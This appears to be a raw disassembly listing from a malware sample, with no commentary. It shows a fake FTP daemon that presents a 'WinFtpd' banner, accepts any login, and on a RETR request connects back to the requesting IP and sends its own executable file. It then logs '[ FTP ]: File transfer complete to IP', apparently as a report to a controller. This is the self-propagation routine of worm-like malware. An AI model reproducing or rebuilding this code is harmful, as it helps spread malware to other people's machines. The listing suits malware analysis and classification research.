Assembly Code of File sub_402B1D
sub_402A0E proc near ; CODE XREF: sub_402B1D + 4A2p
var_1A0 = byte ptr - 1A0h
var_10 = word ptr - 10h
var_E = word ptr - 0Eh
var_C = dword ptr - 0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ ebp + var_1A0 ]
push eax
push 101h
call ds:dword_41F1EC
push 0
push 1
push 2
call ds:dword_41F1F0
push [ ebp + arg_0 ]
mov dword_432FF0, eax
mov [ ebp + var_10 ], 2
call ds:dword_41F1F4
push [ ebp + arg_4 ]
mov [ ebp + var_C ], eax
call ds:dword_41F204
mov [ ebp + var_E ], ax
push 10h
lea eax, [ ebp + var_10 ]
push eax
push dword_432FF0
call ds:dword_41F1F8
cmp eax, 0FFFFFFFFh
jnz short loc_402A86
push dword_432FF0
call ds:dword_41F1FC
call ds:dword_41F200
xor eax, eax
leave
retn
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402A86: ; CODE XREF: sub_402A0E + 60j
xor eax, eax
inc eax
leave
retn
sub_402A0E endp
########################## SUBROUTINE ##########################
sub_402A8B proc near ; CODE XREF: sub_402B1D + 4AEp
var_504 = byte ptr - 504h
var_104 = byte ptr - 104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
push 104h
lea eax, [ ebp + var_104 ]
push eax
push 0
call ds:dword_41F010 ; GetModuleFileNameA
lea eax, [ ebp + var_104 ]
push offset dword_41F968
push eax
call sub_413393
mov esi, eax
test esi, esi
pop ecx
pop ecx
jnz short loc_402AF8
jmp short loc_402B1A
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402AC4: ; CODE XREF: sub_402A8B + 72j
push 400h
lea eax, [ ebp + var_504 ]
push 1
push eax
call sub_41313E
add esp, 10h
push 0
push eax
lea eax, [ ebp + var_504 ]
push eax
push dword_432FF0
call ds:dword_41F1E8
push 0Ah
call ds:dword_41F000 ; Sleep
loc_402AF8: ; CODE XREF: sub_402A8B + 35j
test byte ptr [ esi + 0Ch ], 10h
push esi
jz short loc_402AC4
call sub_412F93
pop ecx
push dword_432FF0
call ds:dword_41F1FC
call ds:dword_41F200
xor eax, eax
inc eax
loc_402B1A: ; CODE XREF: sub_402A8B + 37j
pop esi
leave
retn
sub_402A8B endp
########################## SUBROUTINE ##########################
sub_402B1D proc near ; DATA XREF: sub_401141 + 254o
var_A6C = byte ptr - 0A6Ch
var_8DC = byte ptr - 8DCh
var_6DC = dword ptr - 6DCh
var_6D8 = byte ptr - 6D8h
var_4C4 = byte ptr - 4C4h
var_444 = dword ptr - 444h
var_440 = dword ptr - 440h
var_438 = dword ptr - 438h
var_334 = byte ptr - 334h
var_2D0 = byte ptr - 2D0h
var_29C = byte ptr - 29Ch
var_238 = byte ptr - 238h
var_228 = dword ptr - 228h
var_224 = dword ptr - 224h
var_220 = dword ptr - 220h
var_124 = byte ptr - 124h
var_F8 = byte ptr - 0F8h
var_C4 = byte ptr - 0C4h
var_AC = byte ptr - 0ACh
var_48 = byte ptr - 48h
var_38 = word ptr - 38h
var_36 = word ptr - 36h
var_34 = dword ptr - 34h
var_28 = byte ptr - 28h
var_24 = dword ptr - 24h
var_20 = byte ptr - 20h
var_1C = dword ptr - 1Ch
var_18 = dword ptr - 18h
var_14 = byte ptr - 14h
var_10 = dword ptr - 10h
var_C = byte ptr - 0Ch
var_8 = dword ptr - 8
var_4 = dword ptr - 4
arg_0 = dword ptr 8
push ebp
lea ebp, [ esp - 74h ]
sub esp, 0A6Ch
mov eax, [ ebp + 74h + arg_0 ]
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
inc ebx
mov ecx, 0A9h
lea edi, [ ebp + 74h + var_6DC ]
rep movsd
mov [ eax + 2A0h ], ebx
lea eax, [ ebp + 74h + var_A6C ]
push eax
xor esi, esi
push 101h
mov [ ebp + 74h + var_18 ], ebx
mov [ ebp + 74h + var_1C ], ebx
mov [ ebp + 74h + var_228 ], esi
mov [ ebp + 74h + var_438 ], esi
call ds:dword_41F1EC
push esi
call sub_413820
push eax
call sub_412D64
mov eax, [ ebp + 74h + arg_0 ]
mov eax, [ eax + 214h ]
pop ecx
pop ecx
push esi
push ebx
push 2
mov dword_432FF4, eax
call ds:dword_41F1F0
mov ebx, eax
push 4
lea eax, [ ebp + 74h + var_18 ]
push eax
push 4
push 0FFFFh
push ebx
mov [ ebp + 74h + var_8 ], ebx
call ds:dword_41F1C8
lea eax, [ ebp + 74h + var_1C ]
push eax
push 8004667Eh
push ebx
call ds:dword_41F1CC
xor eax, eax
mov ax, word ptr dword_432FF4
mov [ ebp + 74h + var_38 ], 2
mov [ ebp + 74h + var_34 ], esi
push eax
call ds:dword_41F204
mov [ ebp + 74h + var_36 ], ax
push 10h
lea eax, [ ebp + 74h + var_38 ]
push eax
push ebx
call ds:dword_41F1D0
test eax, eax
jl loc_4030B7
push 0Ah
push ebx
call ds:dword_41F1D4
push 41h
pop ecx
xor eax, eax
push eax
push eax
push eax
lea eax, [ ebp + 74h + var_438 ]
mov [ ebp + 74h + var_224 ], ebx
mov [ ebp + 74h + var_4 ], ebx
push eax
inc ebx
lea esi, [ ebp + 74h + var_228 ]
lea edi, [ ebp + 74h + var_438 ]
mov [ ebp + 74h + var_228 ], 1
push ebx
rep movsd
call ds:dword_41F1D8
cmp eax, 0FFFFFFFFh
jz loc_4030B7
mov ebx, ds:dword_41F1E8
loc_402C3C: ; CODE XREF: sub_402B1D + 594j
xor esi, esi
cmp [ ebp + 74h + var_4 ], esi
mov [ ebp + 74h + arg_0 ], esi
jl loc_403086
loc_402C4A: ; CODE XREF: sub_402B1D + 563j
push 19h
pop ecx
xor eax, eax
push 19h
lea edi, [ ebp + 74h + var_29C ]
rep stosd
pop ecx
lea edi, [ ebp + 74h + var_AC ]
rep stosd
lea eax, [ ebp + 74h + var_438 ]
push eax
push esi
call sub_41E8A0
test eax, eax
jz loc_403079
cmp esi, [ ebp + 74h + var_8 ]
jnz short loc_402CE4
push 10h
pop edi
lea eax, [ ebp + 74h + var_24 ]
push eax
lea eax, [ ebp + 74h + var_238 ]
push eax
push [ ebp + 74h + var_8 ]
mov [ ebp + 74h + var_24 ], edi
call ds:dword_41F1E0
cmp eax, 0FFFFFFFFh
jz loc_403079
mov edx, [ ebp + 74h + var_228 ]
xor ecx, ecx
test edx, edx
jbe short loc_402CB6
loc_402CA8: ; CODE XREF: sub_402B1D + 197j
cmp [ ebp + ecx * 4 + 74h + var_224 ], eax
jz short loc_402CB6
inc ecx
cmp ecx, edx
jb short loc_402CA8
loc_402CB6: ; CODE XREF: sub_402B1D + 189j
; sub_402B1D + 192j
cmp ecx, edx
jnz short loc_402CCC
cmp edx, 40h
jnb short loc_402CCC
mov [ ebp + ecx * 4 + 74h + var_224 ], eax
inc [ ebp + 74h + var_228 ]
loc_402CCC: ; CODE XREF: sub_402B1D + 19Bj
; sub_402B1D + 1A0j
cmp eax, [ ebp + 74h + var_4 ]
jle short loc_402CD4
mov [ ebp + 74h + var_4 ], eax
loc_402CD4: ; CODE XREF: sub_402B1D + 1B2j
push 0
push edi
push offset a220Winftpd1_2 ; \"220 WinFtpd 1.2\n\"
push eax
call ebx
jmp loc_403079
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402CE4: ; CODE XREF: sub_402B1D + 15Aj
push 0
push 64h
lea eax, [ ebp + 74h + var_29C ]
push eax
push esi
call ds:dword_41F1E4
test eax, eax
jg short loc_402D42
mov ecx, [ ebp + 74h + var_228 ]
xor eax, eax
test ecx, ecx
jbe short loc_402D36
loc_402D06: ; CODE XREF: sub_402B1D + 1F5j
cmp [ ebp + eax * 4 + 74h + var_224 ], esi
jz short loc_402D2B
inc eax
cmp eax, ecx
jb short loc_402D06
jmp short loc_402D36
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D16: ; CODE XREF: sub_402B1D + 211j
mov ecx, [ ebp + eax * 4 + 74h + var_220 ]
mov [ ebp + eax * 4 + 74h + var_224 ], ecx
mov ecx, [ ebp + 74h + var_228 ]
inc eax
loc_402D2B: ; CODE XREF: sub_402B1D + 1F0j
dec ecx
cmp eax, ecx
jb short loc_402D16
dec [ ebp + 74h + var_228 ]
loc_402D36: ; CODE XREF: sub_402B1D + 1E7j
; sub_402B1D + 1F7j
push esi
call ds:dword_41F1FC
jmp loc_403079
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D42: ; CODE XREF: sub_402B1D + 1DBj
lea eax, [ ebp + 74h + var_334 ]
push eax
lea eax, [ ebp + 74h + var_AC ]
push eax
lea eax, [ ebp + 74h + var_29C ]
push offset aSS_0 ; \"%s %s\"
push eax
call sub_412D93
add esp, 10h
push 5
pop edx
mov edi, offset aUser_0 ; \"USER\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402D81
push eax
push 16h
push offset a331PasswordReq ; \"331 Password required\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D81: ; CODE XREF: sub_402B1D + 255j
mov edi, offset aPass ; \"PASS\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402D9E
push eax
push 14h
push offset a230UserLoggedI ; \"230 User logged in.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402D9E: ; CODE XREF: sub_402B1D + 272j
mov edi, offset aSyst ; \"SYST\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402DBB
push eax
push 0Dh
push offset a215Stnyftpd ; \"215 StnyFtpd\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402DBB: ; CODE XREF: sub_402B1D + 28Fj
mov edi, offset aRest ; \"REST\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, edx
xor eax, eax
repe cmpsb
jnz short loc_402DD8
push eax
push 10h
push offset a350Restarting_ ; \"350 Restarting.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402DD8: ; CODE XREF: sub_402B1D + 2ACj
push 4
mov edi, offset off_41FE14
lea esi, [ ebp + 74h + var_AC ]
pop ecx
xor eax, eax
repe cmpsb
jnz short loc_402DF6
push eax
push 1Eh
push offset a257IsCurrentDi ; \"257 \\"/\\" is current directory.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402DF6: ; CODE XREF: sub_402B1D + 2CAj
mov eax, offset aType ; \"TYPE\"
mov ecx, edx
mov edi, eax
lea esi, [ ebp + 74h + var_AC ]
xor edx, edx
repe cmpsb
jnz short loc_402E29
push 2
mov edi, offset aA_0 ; \"A\"
lea esi, [ ebp + 74h + var_334 ]
pop ecx
xor edx, edx
repe cmpsb
jnz short loc_402E29
push edx
push 13h
push offset a200TypeSetToA_ ; \"200 Type set to A.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402E29: ; CODE XREF: sub_402B1D + 2E9j
; sub_402B1D + 2FDj
mov edi, eax
push 5
pop eax
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
jnz short loc_402E5A
push 2
mov edi, offset aI ; \"I\"
lea esi, [ ebp + 74h + var_334 ]
pop ecx
xor edx, edx
repe cmpsb
jnz short loc_402E5A
push edx
push 13h
push offset a200TypeSetToI_ ; \"200 Type set to I.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402E5A: ; CODE XREF: sub_402B1D + 31Aj
; sub_402B1D + 32Ej
mov edi, offset aPasv ; \"PASV\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
jnz short loc_402E99
push 0Ah
pop ecx
mov esi, offset a425PassiveNotS ; \"425 Passive not supported on this serve\"...
lea edi, [ ebp + 74h + var_124 ]
rep movsd
lea eax, [ ebp + 74h + var_124 ]
movsw
lea edx, [ eax + 1 ]
loc_402E85: ; CODE XREF: sub_402B1D + 36Dj
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_402E85
sub eax, edx
push 0
push eax
lea eax, [ ebp + 74h + var_124 ]
jmp short loc_402ECD
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402E99: ; CODE XREF: sub_402B1D + 34Bj
mov edi, offset aList ; \"LIST\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
mov ecx, eax
jnz short loc_402ED3
mov esi, offset a226TransferCom ; \"226 Transfer complete\n\"
lea edi, [ ebp + 74h + var_C4 ]
rep movsd
movsw
lea eax, [ ebp + 74h + var_C4 ]
movsb
lea edx, [ eax + 1 ]
loc_402EBE: ; CODE XREF: sub_402B1D + 3A6j
mov cl, [ eax ]
inc eax
test cl, cl
jnz short loc_402EBE
sub eax, edx
push 0
push eax
lea eax, [ ebp + 74h + var_C4 ]
loc_402ECD: ; CODE XREF: sub_402B1D + 37Aj
push eax
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402ED3: ; CODE XREF: sub_402B1D + 38Cj
mov edi, offset aPort ; \"PORT\"
lea esi, [ ebp + 74h + var_AC ]
xor edx, edx
repe cmpsb
jnz loc_402F97
lea eax, [ ebp + 74h + var_2D0 ]
push eax
lea eax, [ ebp + 74h + var_F8 ]
push eax
lea eax, [ ebp + 74h + var_28 ]
push eax
lea eax, [ ebp + 74h + var_20 ]
push eax
lea eax, [ ebp + 74h + var_14 ]
push eax
lea eax, [ ebp + 74h + var_C ]
push eax
lea eax, [ ebp + 74h + var_29C ]
push offset aS ; \"% * s %[ ^, ],%[ ^, ],%[ ^, ],%[ ^, ],%[ ^, ],%[ ^\n ]\"...
push eax
call sub_412D93
lea eax, [ ebp + 74h + var_F8 ]
push eax
call sub_412F42
mov esi, eax
lea eax, [ ebp + 74h + var_2D0 ]
push eax
call sub_412F42
push 0Ch
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ ebp + 74h + var_F8 ]
rep stosd
push edx
push esi
stosw
lea eax, [ ebp + 74h + var_F8 ]
push offset aXX ; \"%x%x\n\"
push eax
call sub_412BB5
push 10h
lea eax, [ ebp + 74h + var_F8 ]
push 0
push eax
call sub_413809
mov [ ebp + 74h + var_10 ], eax
add esp, 44h
lea eax, [ ebp + 74h + var_28 ]
push eax
lea eax, [ ebp + 74h + var_20 ]
push eax
lea eax, [ ebp + 74h + var_14 ]
push eax
lea eax, [ ebp + 74h + var_C ]
push eax
lea eax, [ ebp + 74h + var_48 ]
push offset aS_S_S_S ; \"%s.%s.%s.%s\"
push eax
call sub_412BB5
add esp, 18h
push 0
push 1Dh
push offset a200PortCommand ; \"200 PORT command successful.\n\"
jmp loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_402F97: ; CODE XREF: sub_402B1D + 3C2j
mov edi, offset aRetr ; \"RETR\"
lea esi, [ ebp + 74h + var_AC ]
mov ecx, eax
xor edx, edx
repe cmpsb
jnz loc_40304C
push edx
push 28h
push offset a150OpeningBina ; \"150 Opening BINARY mode data connection\"...
push [ ebp + 74h + arg_0 ]
call ebx
push [ ebp + 74h + var_10 ]
lea eax, [ ebp + 74h + var_48 ]
push eax
call sub_402A0E
cmp eax, 1
pop ecx
pop ecx
jnz short loc_403041
call sub_402A8B
cmp eax, 1
jnz loc_403069
xor esi, esi
push esi
push 17h
push offset a226TransferC_0 ; \"226 Transfer complete.\n\"
push [ ebp + 74h + arg_0 ]
call ebx
lea eax, [ ebp + 74h + var_6D8 ]
push eax
lea eax, [ ebp + 74h + var_48 ]
push eax
lea eax, [ ebp + 74h + var_8DC ]
push offset aFtpFileTransfe ; \"[ FTP ]: File transfer complete to IP: %s\"...
push eax
call sub_412BB5
add esp, 10h
cmp [ ebp + 74h + var_440 ], esi
jnz short loc_403032
push esi
push [ ebp + 74h + var_444 ]
lea eax, [ ebp + 74h + var_8DC ]
push eax
lea eax, [ ebp + 74h + var_4C4 ]
push eax
push [ ebp + 74h + var_6DC ]
call sub_4045DD
add esp, 14h
loc_403032: ; CODE XREF: sub_402B1D + 4F0j
lea eax, [ ebp + 74h + var_8DC ]
push eax
call sub_401C33
pop ecx
jmp short loc_403069
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_403041: ; CODE XREF: sub_402B1D + 4ACj
push 0
push 20h
push offset a425CanTOpenDat ; \"425 Can't open data connection.\n\"
jmp short loc_403064
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_40304C: ; CODE XREF: sub_402B1D + 488j
mov ecx, eax
mov edi, offset aQuit ; \"QUIT\"
lea esi, [ ebp + 74h + var_AC ]
xor eax, eax
repe cmpsb
jnz short loc_403069
push eax
push 0Dh
push offset a221Goodbye_ ; \"221 Goodbye.\n\"
loc_403064: ; CODE XREF: sub_402B1D + 25Fj
; sub_402B1D + 27Cj ...
push [ ebp + 74h + arg_0 ]
call ebx
loc_403069: ; CODE XREF: sub_402B1D + 4B6j
; sub_402B1D + 522j ...
mov esi, [ ebp + 74h + arg_0 ]
push 19h
pop ecx
xor eax, eax
lea edi, [ ebp + 74h + var_29C ]
rep stosd
loc_403079: ; CODE XREF: sub_402B1D + 151j
; sub_402B1D + 179j ...
inc esi
cmp esi, [ ebp + 74h + var_4 ]
mov [ ebp + 74h + arg_0 ], esi
jle loc_402C4A
loc_403086: ; CODE XREF: sub_402B1D + 127j
push 41h
pop ecx
xor eax, eax
push eax
push eax
push eax
lea eax, [ ebp + 74h + var_438 ]
push eax
mov eax, [ ebp + 74h + var_4 ]
inc eax
lea esi, [ ebp + 74h + var_228 ]
lea edi, [ ebp + 74h + var_438 ]
push eax
rep movsd
call ds:dword_41F1D8
cmp eax, 0FFFFFFFFh
jnz loc_402C3C
loc_4030B7: ; CODE XREF: sub_402B1D + C9j
; sub_402B1D + 113j
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 74h
leave
retn 4
sub_402B1D endp